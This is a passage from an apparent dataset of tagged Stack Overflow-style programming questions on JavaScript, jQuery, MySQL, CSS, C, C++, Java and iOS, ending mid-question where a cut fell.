javascript custom rounding approach for decimal  input number is <code>21.2791499</code>. i need to round it in 4 decimal places and expected output in is <code>21.2792</code>  but all the following approaches give <code>21.2791</code> as output. what is the best solution to get the desired output.    <pre><code>the number  9  after number  4  should make the number  4  as  5 . then this  5  should make  1  as  2  </code></pre>   good or bad  my client’s browser is <code>ie6+</code> only.    fiddle: <a href= https://jsfiddle.net/lijo/16mgy0xm/1/  rel= nofollow >https://jsfiddle.net/lijo/16mgy0xm/1/</a>   <pre><code>var inputnumber = 21.2791499;  //approach 1 var a = math.round(inputnumber * 10000) / 10000;  document.getelementbyid( firsttext ).value= a;  //approach 2 var b = number(math.round(inputnumber+ e4 )+ e-4 ); document.getelementbyid( secondtext ).value= b;  //approach 3 var c =inputnumber.toprecision(6); document.getelementbyid( thirdtext ).value= c; </code></pre>,javascript
sticky slide menu using jquery  often many site developing sticky slide menu. the menu slide out from bottom right and when user click on close button it does not close rather it s size become small. menu has title always like  recommended for you .    i was looking for this type of menu and search google for any jquery plug-in exist or not but found none. so here i am giving the url just go there and scroll down to bottom then a menu comes from bottom-right side. i just need that same type of menu. so tell me way to develop same one like it or if same kind of menu code already exist and if anyone aware of that then plzz share the site link.    <a href= http://www.1stwebdesigner.com/freebies/wordpress-theme-jquery-and-ajax/  rel= nofollow >enter link description here</a>    <a href= http://jquerybyexample.blogspot.com/2011/05/how-to-set-focus-on-first-textbox-of.html  rel= nofollow >enter link description here</a>    thanks,jquery
android- pixel color matcing estimate  i m making an android app in which a color is shown on the screen  and within 30 secs  player has to take a picture of something that includes the shown color before the time runs out. points (up to 1000 per round!) are awarded based on how close the match is    i just want to know how to measure the closeness in color between the captured image and shown image and how to rate the closeness in the range [0:1000]    is anyone familiar with such an approach  how would you do something like this     thanks in advance.,android
mysql query to replace null values with string when using double left outer joins  i have three tables named as <code>table1  table2  table3</code>.    <ol> <li>table1 has three coloumns. they are <code>studentid  studentname  taskname</code>. </li> <li>table2 has two coloumns as <code>id</code> and <code>student name</code>. table3 includes name of students who are not taking a certain module. </li> <li>table3 contains two coloumns assigning each tasks to a <code>supervisor</code>. more than one task can be assigned under a supervisor. </li> </ol>   here i am using following query to count the number of tasks per supervisor:   <pre><code>select table3.supervisor  count(*) as total  from issues  left outer join      table2 on table1.studentname=table2.studentname  left outer join table3 on      table1.taskname=table3.taskname  where table2.userid is null  group by table3.supervior </code></pre>   now  i need to change <code>supervisor-1</code> name into <code>supervisor-2</code> and get count for <code>supervisor-2</code> as (number of tasks for supervisor-1 + number of tasks for supervisor-2).    can some one help to write a query  (i have created a similar scenario of my current requirement),mysql
how to inspect value both in mozilla firebug   when i inspect an element in mozilla firefox (version 47.0.1)  i need to add some css rules in firebug. i wanted to add <code>clear: both;</code>  but the options are only:   <pre><code>clear: inherit        initial        left        none        right        unset </code></pre>   <a href= https://developer.mozilla.org/uk/docs/web/css/clear  rel= nofollow >https://developer.mozilla.org/uk/docs/web/css/clear</a> says:     <pre><code>values:    clear: none; clear: left; clear: right; clear: both; clear: inline-start; clear: inline-end;  clear: inherit; </code></pre>   how do i add the <code>clear: both;</code> css rule to an element using firebug,css
what happens when i use *(int*)&x to assign to a constant value x   i have tried the following codes:   <pre><code>#include &lt;iostream&gt; using namespace std; struct myclass {     const int x; }; int main() {     myclass c = {3};     const int *p = &amp;c.x;      cout &lt;&lt;  x =   &lt;&lt; c.x &lt;&lt; endl;     cout &lt;&lt;  &amp;x =   &lt;&lt; &amp;c.x &lt;&lt; endl;     cout &lt;&lt;  p =   &lt;&lt; p &lt;&lt; endl;     cout &lt;&lt;  *p =   &lt;&lt; *p &lt;&lt; endl;     cout &lt;&lt;  *(&amp;x) =   &lt;&lt; *(&amp;c.x) &lt;&lt; endl;     cout &lt;&lt; endl;      *(int*)&amp;c.x = 4;      cout &lt;&lt;  x =   &lt;&lt; c.x &lt;&lt; endl;     cout &lt;&lt;  &amp;x =   &lt;&lt; &amp;c.x &lt;&lt; endl;     cout &lt;&lt;  p =   &lt;&lt; p &lt;&lt; endl;     cout &lt;&lt;  *p =   &lt;&lt; *p &lt;&lt; endl;     cout &lt;&lt;  *(&amp;x) =   &lt;&lt; *(&amp;c.x) &lt;&lt; endl;      cout &lt;&lt; (p == &amp;c.x) &lt;&lt; endl;     cout &lt;&lt; (*p == *(&amp;c.x)) &lt;&lt; endl;      return 0; } </code></pre>   then i get the following answer:   <pre><code>x = 3 &amp;x = 0x61fe98 p = 0x61fe98 *p = 3 *(&amp;x) = 3  x = 4 &amp;x = 0x61fe98 p = 0x61fe98 *p = 4 *(&amp;x) = 4 1 1 </code></pre>   it seems that i have successfully change the value of constant integer x. but when i directly declare x in main() instead of in a class  i get the totally different answer.   <pre><code>#include &lt;iostream&gt; using namespace std;  int main() {     const int x = 3;     const int *p = &amp;x;      cout &lt;&lt;  x =   &lt;&lt; x &lt;&lt; endl;     cout &lt;&lt;  &amp;x =   &lt;&lt; &amp;x &lt;&lt; endl;     cout &lt;&lt;  p =   &lt;&lt; p &lt;&lt; endl;     cout &lt;&lt;  *p =   &lt;&lt; *p &lt;&lt; endl;     cout &lt;&lt;  *(&amp;x) =   &lt;&lt; *(&amp;x) &lt;&lt; endl;     cout &lt;&lt; endl;      *(int*)&amp;x = 4;      cout &lt;&lt;  x =   &lt;&lt; x &lt;&lt; endl;     cout &lt;&lt;  &amp;x =   &lt;&lt; &amp;x &lt;&lt; endl;     cout &lt;&lt;  p =   &lt;&lt; p &lt;&lt; endl;     cout &lt;&lt;  *p =   &lt;&lt; *p &lt;&lt; endl;     cout &lt;&lt;  *(&amp;x) =   &lt;&lt; *(&amp;x) &lt;&lt; endl;     cout &lt;&lt; endl;      cout &lt;&lt; (p == &amp;x) &lt;&lt; endl;     cout &lt;&lt; (*p == *(&amp;x)) &lt;&lt; endl;      return 0; } </code></pre>   the result is   <pre><code>x = 3 &amp;x = 0x61fe98 p = 0x61fe98 *p = 3 *(&amp;x) = 3  x = 3 &amp;x = 0x61fe98 p = 0x61fe98 *p = 4 *(&amp;x) = 3  1 0 </code></pre>   that is really strange that (p == &amp;x) is true but (*p == *(&amp;x)) is false!!! i don t know what s going on in the second codes.,c++
unit of measurement between two cgpoints  how to determine unit of measurement between two cgpoint s. i basically want to convert distance between two cgpoints in centi meter and milli meter. i cannot find in any docs to implement correctly.   <pre><code> cgfloat xdist = point2.x - point1.x;  cgfloat ydist = point2.y - point1.y;  cgfloat distance = sqrt((xdist * xdist) + (ydist * ydist)); </code></pre>,ios
is there an api to allow the user to update the app from within the app   some new users may not know how to use the app store for updating apps. is there a way from within the app i can provide a button that triggers updating the app,ios
mysql replication - tables with same name in a different db  i have replication already set up  with replicate-do-db. i have 5 schemas all with the same structure of tables - but different data of course.    i would like to replicate only selected tables from the schemas. is it possible to just specify a table name in the replicate-do-table and it will replicate all tables with that name from all schemas     for example  i have the following dbs and tables   <pre><code>a.test  b.test </code></pre>   and configure replication as follows   <pre><code>replicate-do-db=a;b  replicate-do-table=test </code></pre>   will that replicate both tables  or do i need to specify <code>replicate-do-table=a.test;b.test</code>,mysql
css: keep list-style on floated li elements  here is an example:   <pre><code>&lt;ul&gt;     &lt;li&gt;list&lt;/li&gt;     &lt;li style= float:left; &gt;list&lt;/li&gt;     &lt;li style= float:left; &gt;list&lt;/li&gt;     &lt;li style= float:left; &gt;list&lt;/li&gt;     &lt;li style= float:left; &gt;list&lt;/li&gt; &lt;/ul&gt; </code></pre>   how to keep list-style on the rest li elements while keeping float     thanks ;),css
set variable to true if one of any conditions are met  i am checking for a long list of conditions  where each one looks something like this:   <pre><code>s =  string  match = false  if  x  in s:    variable =  something  if  y  in s:    variable =  something else  if  z  in s:    variable =  something something  </code></pre>   if any one of these are met  i want to set <code>match = true</code>. otherwise keep it at <code>match = false</code>.    i don t want to include <code>match = true</code> in each <code>if</code> statement because that would clutter up the code.    is there a way to simply group all of these together  and if any condition is fulfilled  set <code>match = true</code>,python
jquery highlight image by click  i have 2 questions:   <ol> <li>i m using this code: <a href= http://jsfiddle.net/9rfkb/  rel= nofollow >http://jsfiddle.net/9rfkb/</a></li> </ol>   as you can see when i click on some image its getting bold border  and field  size  get the name of the image. how can i get the image id value    <ol> <li>when i load the page i want that the chosen image to be already with bold border. what do i need to add </li> </ol>   thanks!   <pre><code>&lt;p id= thumbs &gt;     &lt;input type= hidden  name= size &gt;       &lt;img src= images/size1.png  id= 1  /&gt;     &lt;img src= images/size2.png  id= 2  /&gt;     &lt;img src= images/size3.png  id= 3  /&gt;     &lt;img src= images/size4.png  id= 4  /&gt;                 &lt;/p&gt;    &lt;script&gt; $( #thumbs ).delegate( img    click   function() {     var $this = $(this);      $( #thumbs img ).removeclass( border-highlight );       $this.addclass( border-highlight );       $( [name= size ] ).val( $this.attr( src ).substring($this.attr( src ).lastindexof( / )+1) ); //    alert( $( [name= size ] ).val() ); }); &lt;/script&gt; </code></pre>,jquery
get current position within an audiofile  using avaudioplayer to play audiofile now within the audiofile how i can track that when audioplayer reaches at the specific currenttime or position of the audio file and then it should update viewcontroller.    here is my code but it is not working cause not updating viewcontrollers.   <pre><code>float seconds = audioplayer.currenttime;  if (seconds == 11.0){     [self performselector:@selector(firstviewcontroller) withobject:nil];  } else {     if (seconds == 23.0){         [self performselector:@selector(secondviewcontroller) withobject:nil];       } }  -(void)firstviewcontroller {     firstviewcontroller *viewcontroller = [[firstviewcontroller alloc] init];     viewcontroller.view.frame = cgrectmake(0  0  320  480);     [self.view addsubview:viewcontroller.view];     [self.view addsubview:toolbar];     [viewcontroller release]; } </code></pre>   pls help,iphone
java:is there some utility method to calculate  now i hava a <code>string lam =  (8-2*7.5)+10 </code>  so is there any method or class to calculate this <strong>string expression</strong> and <em>return me the result directly</em>     thanks in advance!,java
do object.keys() and object.values() methods return arrays that preserve the same order  do <a href= https://developer.mozilla.org/en-us/docs/web/javascript/reference/global_objects/object/keys  rel= nofollow noreferrer >object.keys()</a> and <a href= https://developer.mozilla.org/en-us/docs/web/javascript/reference/global_objects/object/values  rel= nofollow noreferrer >object.values()</a> methods return arrays that preserve the same order     i mean  suppose that we have the following object:   <pre><code>var obj = {}; obj.prop1 =  foo ; obj.prop2 =  bar ; </code></pre>   if i call <code>obj.keys()</code> and <code>obj.values()</code> will they return properties with the same order    <pre><code>prop1 prop2  foo bar </code></pre>   or   <pre><code>prop2 prop1  bar foo </code></pre>   right     so the following option is not possible  right    <pre><code>prop1 prop2  bar foo </code></pre>,javascript
css - text overlaping in ie. ok in ff  but ie just doesn t like it  so here is a simple page i ve stripped down to the bare minimum. looks great in ff  but i can t get it to display the same way in ie. i have tried every configuration possible (i think). maybe someone could tell me what i m doing wrong. could it be the layout  thx.   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=iso-8859-1  /&gt; &lt;title&gt;work page&lt;/title&gt; &lt;style type= text/css &gt; &lt;!-- /* --- --- */ #wrapper {     width:731px;     margin-right: auto;     margin-left: auto;     background-color: #ffffff; } /* --- --- */ #wholepage {     width: 674px;     display: inline-table;     margin-left: 28px; } #prefmatchbox {     width: 600px;     position: relative;     margin-right: auto;     margin-left: auto;     margin-bottom: 30px; } .titlecenter {     padding-top: 2px;     padding-bottom: 3px;     font-size: 15px;     font-weight: bold;     text-transform: capitalize;     text-align: center;     width: 100%;     border: 2px outset #333333;     display: inline-table; } .box {  } .left {     text-align: center;     padding-top: 2px;     padding-bottom: 2px;     display: inline-table;     width: 200px;     margin-left: 25px; } .center {     text-transform: capitalize;     padding-top: 2px;     padding-bottom: 2px;     text-align: center;     display: inline-table;     width: 150px; } .right {     text-align: center;     padding-top: 2px;     padding-bottom: 2px;     display: inline-table;     width: 200px; }  --&gt; &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;div id= wrapper &gt;   &lt;div id= wholepage &gt;     &lt;div id= prefmatchbox &gt;       &lt;div class= titlecenter &gt;food&lt;/div&gt;       &lt;div class= box &gt;         &lt;div class= left &gt;peaches&lt;br /&gt;         &lt;/div&gt;         &lt;div class= center &gt;fruit&lt;/div&gt;         &lt;div class= right &gt;plums&lt;br /&gt;         &lt;/div&gt;       &lt;/div&gt;       &lt;div class= box &gt;         &lt;div class= left &gt;lettuce&lt;br /&gt;         &lt;/div&gt;         &lt;div class= center &gt;vege s&lt;/div&gt;         &lt;div class= right &gt;carrots&lt;br /&gt;         &lt;/div&gt;       &lt;/div&gt;       &lt;div class= box &gt;         &lt;div class= left &gt;wheat&lt;br /&gt;         &lt;/div&gt;         &lt;div class= center &gt;bread&lt;/div&gt;         &lt;div class= right &gt;white&lt;br /&gt;         &lt;/div&gt;       &lt;/div&gt;       &lt;div class= box &gt;         &lt;div class= left &gt;gum drops&lt;br /&gt;         &lt;/div&gt;         &lt;div class= center &gt;candy&lt;/div&gt;         &lt;div class= right &gt;chocolate&lt;br /&gt;         &lt;/div&gt;       &lt;/div&gt;       &lt;div class= box &gt;         &lt;div class= left &gt;water&lt;br /&gt;         &lt;/div&gt;         &lt;div class= center &gt;drink&lt;/div&gt;         &lt;div class= right &gt;juice&lt;br /&gt;         &lt;/div&gt;       &lt;/div&gt;       &lt;div class= titlecenter &gt;plants&lt;/div&gt;       &lt;div class= box &gt;         &lt;div class= left &gt;weed grass&lt;br /&gt;         &lt;/div&gt;         &lt;div class= center &gt;weeds&lt;/div&gt;         &lt;div class= right &gt;some other weed&lt;br /&gt;         &lt;/div&gt;       &lt;/div&gt;       &lt;div class= box &gt;         &lt;div class= left &gt;maple&lt;br /&gt;         &lt;/div&gt;         &lt;div class= center &gt;tress&lt;/div&gt;         &lt;div class= right &gt;fir&lt;br /&gt;         &lt;/div&gt;       &lt;/div&gt;       &lt;div class= box &gt;         &lt;div class= left &gt;rose bud&lt;br /&gt;           flourance&lt;br /&gt;           galaxy bloom&lt;br /&gt;         &lt;/div&gt;         &lt;div class= center &gt;flowers&lt;/div&gt;         &lt;div class= right &gt;blah&lt;br /&gt;           rose&lt;br /&gt;           humperdinkle&lt;br /&gt;           greedy lane&lt;br /&gt;         &lt;/div&gt;       &lt;/div&gt;       &lt;div class= titlecenter &gt;cars&lt;/div&gt;       &lt;div class= box &gt;         &lt;div class= left &gt;porsche&lt;br /&gt;         &lt;/div&gt;         &lt;div class= center &gt;fast&lt;/div&gt;         &lt;div class= right &gt;lamborghini&lt;br /&gt;         &lt;/div&gt;       &lt;/div&gt;       &lt;div class= box &gt;         &lt;div class= left &gt;explorer&lt;br /&gt;         &lt;/div&gt;         &lt;div class= center &gt;big&lt;/div&gt;         &lt;div class= right &gt;suburban&lt;br /&gt;         &lt;/div&gt;       &lt;/div&gt;       &lt;div class= box &gt;         &lt;div class= left &gt;mercedes&lt;br /&gt;         &lt;/div&gt;         &lt;div class= center &gt;slow&lt;/div&gt;         &lt;div class= right &gt;honda&lt;br /&gt;         &lt;/div&gt;       &lt;/div&gt;       &lt;div class= titlecenter &gt;movies&lt;/div&gt;       &lt;div class= box &gt;         &lt;div class= left &gt;iron man 2&lt;br /&gt;         &lt;/div&gt;         &lt;div class= center &gt;action&lt;/div&gt;         &lt;div class= right &gt;kick ass&lt;br /&gt;         &lt;/div&gt;       &lt;/div&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   <hr /> <strong>edited</strong> to add a link to a <a href= http://jsbin.com/igiru4  rel= nofollow noreferrer >jsbin.com demo</a> on op s behalf.,css
select the first element in each day of the month  how to select the first element of each day in a month with mysql query       i have table with offers - startdate  so i can check for each day month year i m getting the element but  i m wondering how to get only the first element in each day of some month,mysql
android - without opening a webview   make sure that   the page is requested  i have created one button in simple ui for android app using eclipse. i want that if i click on that button then   the request is sent to the specified page   and i don t want to open that particular page. just want to make sure that the request is posted on that page....     can any one tell me hows this possible     thanks,android
es6 update constructor boolean not working  <strong>general info</strong><br/> i m working on a chatsystem based on a websocket. i m trying to do this properly by using an oop approach where ever i can. this is what made me decide to go for es6 as well.    <strong>the problem</strong><br/> in my code  i m initializing a couple of variables in the constructor. one of these variables is a boolean used to tell me if a connection with the socket is already made or not. it s set to false and should be updated to true on the <code>socket.onopen()</code> event.    i want to use this boolean in the <code>connect()</code> method so that if the user tries to connect again while already connected  it disconnects the user instead. effectively turning the connect button into a disconnect button after a connection is made.    the problem is that it doesn t update the boolean as i was expecting it to.    <strong>the code</strong>(simplified to relevant code)   <pre><code>class cb {      constructor(username) {         this.connected = false;     }      connect(){         // user already connected. disconnect         if (this.connected) {             this.disconnect();             return;         }          const socket = new websocket( ws:// +this.serverhost+ : +this.serverport);         this.setsocketevents(socket);         this.socket = socket;     }      setsocketevents(socket){         const obj = this;         socket.onopen = function () {             // update connected boolean             obj.connected = true;         };     } } </code></pre>   if i try <code>console.log(obj.connected);</code> before setting it to true  it returns false as expected. it s also returning true after it s set. but the <code>connect()</code> method still returns false on <code>this.connected</code> if called afterwards.    i m guessing this is a scope problem or i m completely misunderstanding how this all works. so i hope someone here can help me out.,javascript
use javascript to update the contents of a script tag dynamically  this click event works:   <pre><code>document.getelementbyid( control ).addeventlistener( click   function(){     alert( test );  }); </code></pre>   why can t i make it the content of a script tag that already exists on the page    <pre><code>var s = document.getelementsbytagname( script )[0]; s.innerhtml =  document.getelementbyid( control ).addeventlistener( click   function(){alert( test );}); ; </code></pre>   i ve tried enclosing the attempt to do something in an iife:   <pre><code>s.innerhtml =  (function(){alert( test )}()); ; </code></pre>   so that it will call itself.    also:   <pre><code>s.innerhtml =  var f = function(){alert( f )}; f();  </code></pre>   i m only interested theoretically and in no way am saying this is a good or bad idea  but how could i make it work,javascript
is there any way to delete app id when ios developer program expired   my ios dev program has expired: <a href= http://i.stack.imgur.com/8cddp.png  rel= nofollow >expiration screen</a>    i want to delete an app id in that expired account and use that deleted app id in another account i have. so    <ol> <li>is it possible to create an app id which was created and deleted in different account before (any app with that app id not published on app store before) </li> <li>is there any way to delete an app id while my developer program expires.</li> </ol>,ios
ruby on rails console --help not working  i have rails 5 installed via rvm  and when i type rails -h or rails generate model -h etc  i only get the standard help message :   <pre><code> $ rails generate model -h usage:  rails new app_path [options] ... </code></pre>   i should be able to get help with all of the different rails commands on the console.  any suggestions     thanks.,ruby-on-rails
onfocus shadow not working in ie  below code is not working in ie..     <pre><code> input:focus textarea:focus select:focus {   border:1px solid #fafafa;    -webkit-box-shadow:0 0 6px #007eff;    -moz-box-shadow:0 0 5px #007eff;   box-shadow:0 0 5px #007eff; } </code></pre>   instead it is not showing textbox border even.<br>  here is the fiddle link      <a href= http://jsfiddle.net/3ckvp/1/  rel= nofollow >http://jsfiddle.net/3ckvp/1/</a>,css
constructing jquery object and getting its parent from an array of objects  this is what i m trying to accomplish:    booarray is an array of objects named: prefix_somename  where somename varies from one object to another.    those objects are respectively associated with their div elements  the id s of those divs would be somename  i.e. <code>prefix_monkey</code> object would be associated with <code>#monkey</code> div.    in this code i need to continuously apply a method to the objects themselves but stop doing so when their corresponding div completes its transition. i m trying to construct the div id from a string extracted from the object itself in the <code>var foo</code> (iddoc is where the string is stored)  make that into a jq object and then get its parent as that happens to be the element doing the transition in this case. (some foo s will be doing transitioning themselves  so no need to reach out for parent)    ...not sure in how many places i messed up this code... any help appreciated   <pre><code>$(booarray).each(function() {         var foo =  $(\ #  + $(this).attr( iddoc ) +  \ ) ;         var bla = setinterval(function() {            console.log( transition in progress );        } 10);         foo.parent().one( webkittransitionend otransitionend otransitionend mstransitionend mstransitionend transitionend   function(e) {            console.log(foo.parent().attr( id ) +  : transition completed );            clearinterval(bla);        }); }) </code></pre>,jquery
hashmap key with multiple values  i m trying to bind some indexes and they re corresponding strings so i tried using a hashmap like so:    <pre><code>public class newclass { static list&lt;string&gt; referencelist = new arraylist&lt;string&gt;();  public static void main(string[] args) {      string x =  age_x ;     string y =  age_y ;     //string w =  age_z ;     referencelist.add(x);     referencelist.add(y);      string text1 =  if ( age_x = = 10 ){\r\n              +   j = 1;              +   age_x = 5 ;              +   if ( true ) {              +   m = 4 / age_y ;              +   }              +   } ;     detectequals(text1); }  public static string detectequals(string text) {     string a = null;     // text = testsplitting.adddelimiters(text);     string[] newstring = text.split(   );     list&lt;string&gt; test = arrays.aslist(newstring);     stringbuilder strbuilder = new stringbuilder();     hashmap&lt;string  list&lt;integer&gt;&gt; signs = new hashmap&lt;string  list&lt;integer&gt;&gt;();     list&lt;integer&gt; reflist = new arraylist&lt;integer&gt;();     int index = 0;      for (int i = 0; i &lt; test.size(); i++) {         a = test.get(i).trim();         //system.out.println( a=  + a);         strbuilder.append(a);            index = strbuilder.length() - a.length();          if (a.equals( if ) || a.equals( = )) {                      reflist.add(index);             // system.out.println(reflist);             signs.put(a  reflist);             reflist = new arraylist&lt;integer&gt;();              system.out.println(signs);         }     }     return a; } } </code></pre>   but i am not having any luck with it. i m trying to get every  if  and  =  from that string(text1) and map them together but it seems i am doing something wrong  because my output looks like this :   <blockquote>    {if=[0]}        {if=[0]  ==[8]}        {if=[0]  ==[9]}        {if=[0]  ==[15]}        {if=[0]  ==[23]}        {if=[26]  ==[23]}        {if=[26]  ==[36]}  </blockquote>   i am looking for something like :    <blockquote>    if=[0 26] and = =[8 9 15 23 23 36]  </blockquote>   i need some help with figuring out where i m making a mistake here  or am i just not printing them out properly  any help would be greatly appreciated.    thank you     daniel,java
removing a uiview on connectiondidfinishloading  i create a uiview inside the viewdidload event using the following code:    <pre><code> // add a white uiview         uiview *whiteview = [[uiview alloc] initwithframe:cgrectmake(0  0  self.view.bounds.size.width  self.view.bounds.size.height)];         whiteview.tag = 777;         whiteview.backgroundcolor = [uicolor whitecolor];         [self.view addsubview:whiteview]; </code></pre>   this displays a white screen (view) to the user. now  when the connection did finish loading the request i like to remove this view. i use the following code inside the connectiondidfinishloading.    <pre><code> uiview *whiteview = [self.view viewwithtag:777];          [whiteview removefromsuperview]; </code></pre>   but for some reason the whiteview above is not getting removed and i see the white screen all the time. what am i doing wrong,ios
parsefloat not working in angularjs view  the following conditional return false inside a angular view:   <pre><code>&lt;a ng-class= (parsefloat( -0.56% ) &lt; 0)    true  :  false  &gt;...&lt;/a&gt; </code></pre>   i ve already added the parsefloat method in $scope.   <pre><code>$scope.parsefloat = parsefloat; </code></pre>   thanks for any help.,angularjs
angularjs - set a variable with a directive similarly to ng-controller and ng-repeat   in ng-controller  you can declare  examplectrl as example   then use  example  as a reference in your html. in ng-repeat  you can declare  example in examples   then use  example  to reference the data used for each iteration of the repeat.    is there a way to manually set a variable using a directive in the same manner that ng-repeat would  except without repeating  what would be the easiest way to do this  thank you in advance!,angularjs
am i properly passing parameters and passing by reference   i am getting no output for the grosspay and taxespaid functions for this programming assignment i am writing to keep track of employee payroll. i am just wondering if i am properly passing parameters and passing by reference  which is the method we are supposed to use. my class doesn t meet often and the book sucks so i would appreciate any advice.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;   #define size 5  void userinput(char name[][20]  int hoursworked[]  float rate[]); void calculatepay(float rate[]  int hoursworked[]); float tax(float grosspay[]); float totalpay(float grosspay[]  float taxespaid[]); void print(char name[][20]  float rate[]  int hoursworked[]  float grosspay[]      float sum  float taxespaid[]);     int main(){  int hoursworked[]={}; float rate[]={}; char name[][20]={}; float grosspay[]={}; float taxespaid[]={}; float sum;     userinput(name  hoursworked  rate); calculatepay(rate  hoursworked); sum = tax(grosspay); totalpay(grosspay  taxespaid); print(name  rate  hoursworked  grosspay  sum  taxespaid);  return (0); }      void userinput(char name[][20]  int hoursworked[]  float rate[]){  for(int i=0; i&lt;size; i++){      printf( enter name:  );     scanf( %s   &amp;name[i]   20);      if(name[i][0] ==  -  &amp;&amp; name[i][1] ==  1 ){         break;     }      printf( enter hours worked:  );     scanf( %d   &amp;hoursworked[i]);      if(hoursworked[i] == -1){         break;     }      printf( enter hourly rate:  );     scanf( %f   &amp;rate[i]);      if(rate[i] == -1){         break;     }     puts( \n );    }   }  void calculatepay(float rate[]  int hoursworked[]){      float grosspay[]={};   for(int i=0; i&lt;size; ++i){      if(hoursworked[i]&lt;=40){          grosspay[i] = rate[i] * hoursworked[i];      }     else{          grosspay[i] = (40*rate[i])+((hoursworked[i] - 40)*1.5*rate[i]);      }     } }      float tax(float grosspay[]){    float taxespaid[]={};  for(int i=0; i&lt;size; ++i){     taxespaid[i] = grosspay[i]*0.2;     return taxespaid[i]; }    return 0;   }  float totalpay(float grosspay[]  float taxespaid[]){   float sum = 0.0;  for (int i=0; i&lt;size; i++) {     sum=sum+(grosspay[i] - taxespaid[i]);  }  return sum;  }     void print(char name[][20]  float rate[]  int hoursworked[]  float grosspay[]  float sum  float taxespaid[]){  for(int i=0; i&lt;size; i++){      printf( pay to: %s\n   name[i]   20);     if(name[i][0] ==  -  &amp;&amp; name[i][1] ==  1 ){         break;     }     printf( hours worked: %d\n   hoursworked[i]);     if(hoursworked[i] == -1){         break;     }     printf( hourly rate: %.2f\n   rate[i]);     if(rate[i] == -1){         break;     }      if(hoursworked[i]&lt;=40){          printf( gross pay: %.2f\n   grosspay[i]);      }     else     {          printf( gross pay: %.2f\n   grosspay[i]);         printf( base pay: %.2f\n   rate[i]*40);         printf( overtime pay: %.2f\n   grosspay[i] - (rate[i]*40));     }     printf( taxes paid: %.2f\n   taxespaid[i]);     printf( net pay: %.2f\n\n   grosspay[i] - taxespaid[i]); } printf( total paid to all employees: %.2f\n   sum);  } </code></pre>,c
function of return statement and method parameters in java   i m a beginner in java. i don t know the function of return statement and method parameters in java. can you please explain it to me further and when should it be used     here s my code:   <pre><code>public class person{      public  void  display (string name){                              system.out.println( hello  + name );     }       public int execute (int num1  int num2){         int result = num1 + num2;         return result;     }      public void display1(int num){         system.out.println( the number is:   + num);     } } </code></pre>,java
please tell me what is exception in this code <pre><code>nsstring *qry=@ update table userbasic set f_name= %@  m_name= %@  l_name= %@  where registrationid= %@  ; nsstring *updtquery=[[nsstring alloc] stringwithformat:qry fname.text mname.text lname.text userinformationid]; nslog(@ try update %@:  updtquery); </code></pre>   this gives invalid argument exception.. :(,iphone
uint.maxvalue in .net <pre>uint x = uint.maxvalue - 100;</pre>   the above line causes visual studio to report  the operation overflows at compile time in checked mode     i m obviously missing something. any ideas what,.net
install redmine using ror error   i tried to install redmine in my localhost. i installed <code>railsintaller</code> then i dowload svn code from <code>redmine</code>. i found steps to install redmine in localhost in the below  link <code>http://www.youtube.com/watch v=ethtaykdl9g</code>.     i got following error in the middle of installation. i am new to this environment.    kindly check the below screen shoot and help to fix this.<img src= https://i.stack.imgur.com/tddz1.png  alt= enter image description here >   <pre><code>updated my question   c:\redmine&gt;rake db:migrate rails_env= production  warning:  require  rake/rdoctask   is deprecated.  please use  require  rdoc/tas k  (in rdoc 2.4.2+)  instead.     at c:/railsinstaller/ruby1.9.2/lib/ruby/gems/1.9.1/gems/rake-0.9.2.2/lib/rak e/rdoctask.rb c:/railsinstaller/ruby1.9.2/lib/ruby/1.9.1/rdoc/task.rb:30: warning: already ini tialized constant task rake aborted! uninitialized constant gem::syckdefaultkey  tasks: top =&gt; db:migrate =&gt; environment (see full trace by running task with --trace) </code></pre>,ruby-on-rails
how to position two <li> s within a nested <ul>   i am wanting to display <code>&lt;li&gt;</code> s as squares in a horizontal line  and have nested squares within them positioned at the bottom left and bottom right of the containing square.     <pre><code>____________    ____________ |          |    |          | |___    ___|    |___    ___| |_x_|__|_y_|    |_x_|__|_y_|   etc </code></pre>   i tried adding span s to the <code>&lt;li&gt;</code> but wasn t able to position them correctly.      i ve gotten closer with a nested <code>&lt;ul&gt;</code> and two <code>&lt;li&gt;</code> s within the nested <code>&lt;ul&gt;</code> but there is undesired space between the top level squares.      how do i get control of the spacing between the top level <code>&lt;li&gt;</code> s     <strong>jsfiddle</strong>    <a href= http://jsfiddle.net/rwone/4hzp6/  rel= nofollow >http://jsfiddle.net/rwone/4hzp6/</a>    <strong>html</strong>   <pre><code>&lt;ul class= images_list &gt; &lt;li class= style_one &gt;&lt;img src= http://dummyimage.com/50/ccc/fff&amp;text=1.png &gt; &lt;ul class= nested &gt;&lt;li class= delete_span &gt;&lt;/li&gt;&lt;li class= crop_span &gt;&lt;/li&gt;&lt;/ul&gt;     &lt;/li&gt; &lt;li class= style_one &gt;&lt;img src= http://dummyimage.com/50/ccc/fff&amp;text=2.png &gt; &lt;ul class= nested &gt;&lt;li class= delete_span &gt;&lt;/li&gt;&lt;li class= crop_span &gt;&lt;/li&gt;&lt;/ul&gt; &lt;/li&gt; &lt;li class= style_one &gt; &lt;img src= http://dummyimage.com/50/ccc/fff&amp;text=3.png &gt; &lt;ul class= nested &gt;&lt;li class= delete_span &gt;&lt;/li&gt;&lt;li class= crop_span &gt;&lt;/li&gt;&lt;/ul&gt; &lt;/li&gt; &lt;li class= style_one &gt; &lt;img src= http://dummyimage.com/50/ccc/fff&amp;text=4.png &gt; &lt;ul class= nested &gt;&lt;li class= delete_span &gt;&lt;/li&gt;&lt;li class= crop_span &gt;&lt;/li&gt;&lt;/ul&gt; &lt;/li&gt; &lt;li class= style_one &gt; &lt;img src= http://dummyimage.com/50/ccc/fff&amp;text=5.png &gt; &lt;ul class= nested &gt;&lt;li class= delete_span &gt;&lt;/li&gt;&lt;li class= crop_span &gt;&lt;/li&gt;&lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; </code></pre>   <strong>css</strong>   <pre><code>ul.images_list { list-style: none; margin: 0px !important; padding: 0px !important; }  ul.nested { margin: 0px !important; padding: 0px !important; display: inline; position: relative; left: -54px; }  li.style_one { position:relative; display:inline-block; /*width: 50px; 